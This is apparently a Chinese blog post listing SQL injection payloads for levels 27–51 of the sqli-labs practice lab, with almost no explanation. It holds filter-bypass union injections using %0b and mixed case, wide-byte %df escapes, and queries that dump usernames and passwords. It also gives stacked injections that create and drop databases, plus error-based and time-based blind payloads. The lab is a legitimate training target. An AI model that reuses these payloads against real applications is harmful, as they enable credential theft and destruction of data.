sqllibs 27-51关payload

目录

前言

Less-27

Less-27a

Less-28

Less-28a

Less-29

Less-30

Less-31

Less-32

Less-33

Less-34(POST)

Less-35

Less-36

Less-37(POST)

Less-38(堆叠注入)

Less-39(堆叠注入)

Less-40(堆叠注入)

Less-41(堆叠注入)

Less-42(堆叠注入,POST)

Less-43(堆叠注入,POST)

Less-44(堆叠注入,POST)

Less-45(堆叠注入,POST)

Less-46(报错注入)

Less-47(报错注入)

Less-48(爆破注入)

Less-49(爆破注入)

Less-50(报错注入、堆叠注入)

Less-51


前言

方法不止一种,在此只列出部分方法。

Less-27

查库名

?id='%0b uNion%0bsElect%0b 1,database(),3 %0b or'
查表名

?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3 %0b or'
查列名

?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3 %0b or'
查用户名、密码

?id='%0b uNion%0bsElect%0b 1,(sElect%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3 %0b or'

Less-27a

查库名

?id=0%22%0BuNion%0B%20sElect%0B1,database(),3%0Bor%22
查表名

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(table_name)%20from%20(information_schema.tables)%20where%20(table_schema=%27security%27)),3%0Bor%22
查列名

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(column_name)%20from%20(information_schema.columns)%20where%20(table_name=%27users%27)),3%0Bor%22
查用户名、密码

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bconcat(username,%27==%27,password)%0bfrom%0busers%0blimit%0b0,1),3%0Bor%22

Less-28

查库名

?id=0') %0bunion%0bselect%0b1,database(),3%0bor('
查表名

?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('
查列名

?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('
查用户名、密码

?id=0') %0bunion%0bselect%0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('

Less-28a

查库名

?id=0') %0bUNIon %0bSELEct %0b1,database(),3%0bor('
查表名

?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('
查列名

?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('
查用户名、密码

?id=0') %0bunion %0bselect %0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('

Less-29

查库名

?id=-1' union select 1,database(),user()--+
查表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查用户名、密码

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Less-30

查库名

?id=-1" union select 1,database(),user() --+
查表名

?id=-1" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
查列名

?id=-1" union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+
查用户名、密码

?id=-1" union select 1,group_concat(username),group_concat(password) from users --+

Less-31

查库名

?id=-1") union select 1,database(),3--+
查表名

?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查用户名、密码

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-32

查库名

?id=-1%df' union select 1,database(),user()--+
查表名

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database() --+

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+

(括号里为"security"的16进制)
查列名

?id= %df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+

(括号里为"users"16进制)
查用户名、密码

?id=-1%df' union select 1,uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit --+

Less-33

Less-33与32一致,32为自定义过滤,33使用addslashes()过滤

Less-34(POST)

查库名

uname=%df' union select database(),user()--+&passwd=&submit=Submit
查表名

uname=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+&passwd=&submit=Submit
查列名

uname=%df' union select database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273) --+&passwd=&submit=Submit
查用户名、密码

uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit

Less-35

查库名

?id=0 union select 1,database(),user()--+
查表名

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+
查列名

?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)
查用户名、密码

?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Less-36

查库名

?id=-1%df' union select 1,database(),user()--+
查表名

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+
查列名

?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+
查用户名、密码

?id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

Less-37(POST)

查库名

uname=-1%df' union select user(),database()-- &passwd=1&submit=Submit
查表名

uname=-1%df' union select user(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)-- &passwd=1&submit=Submit
查列名

uname=-1%df' union select user(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)-- &passwd=1&submit=Submit
查用户名、密码

uname=-1%df' union select group_concat(username),group_concat(password) from users-- &passwd=1&submit=Submit

Less-38(堆叠注入)

?id=-1' ;CREATE TABLE cooper like users--+

?id=-1';CREATE DATABASE cooper--+

(创建库cooper,创建表cooper)

Less-39(堆叠注入)

与38相同,闭合不同,id=1

Less-40(堆叠注入)

与38相同,闭合不同,id=1')

Less-41(堆叠注入)

与38相同,闭合不同,id=1,错误不回显

Less-42(堆叠注入,POST)

login_user=admin&login_password=1';drop database cooper--+&mysubmit=Login

(user有过滤)

Less-43(堆叠注入,POST)

与42相同,1')闭合

Less-44(堆叠注入,POST)

与42相同

Less-45(堆叠注入,POST)

与43相同

Less-46(报错注入)

?sort=1 and updatexml(1,(concat(0x7e,database(),0x7e)),1)--+

Less-47(报错注入)

与46相同,'闭合

?sort=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

Less-48(爆破注入)

?sort=1 and if(length(database())>1,0,sleep(5))--+

Less-49(爆破注入)

与48一致,'闭合

?sort=1' and if(length(database())=8,sleep(5),0)--+

Less-50(报错注入、堆叠注入)

?sort=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+ (报错注入)

?sort=1;create database cooper;--+ (堆叠注入,创建库)

Less-51

与50一致,'闭合

?sort=1';drop database cooper;--+

相关推荐
夏小花花6 分钟前
postgresql 创建序列
数据库·postgresql
Allen Bright6 分钟前
Redis介绍
数据库·redis·缓存
engchina13 分钟前
Oracle ADB 导入 BANK_GRAPH 的学习数据
数据库·学习·oracle·graph
不爱学习的YY酱15 分钟前
【计网不挂科】计算机网络第二章< 物理层 >习题库(含答案)
java·数据库·计算机网络
CCSBRIDGE21 分钟前
sql文件
数据库·oracle
柯南二号23 分钟前
HarmonyOS ArkTS 下拉列表组件
前端·javascript·数据库·harmonyos·arkts
TN_stark9321 小时前
多进程/线程并发服务器
服务器·算法·php
液态不合群1 小时前
Mysql篇-三大日志
数据库·mysql
喝醉酒的小白1 小时前
数据库参数备份
数据库
小徍1 小时前
MySQL 8.0特性-自增变量的持久化
数据库·mysql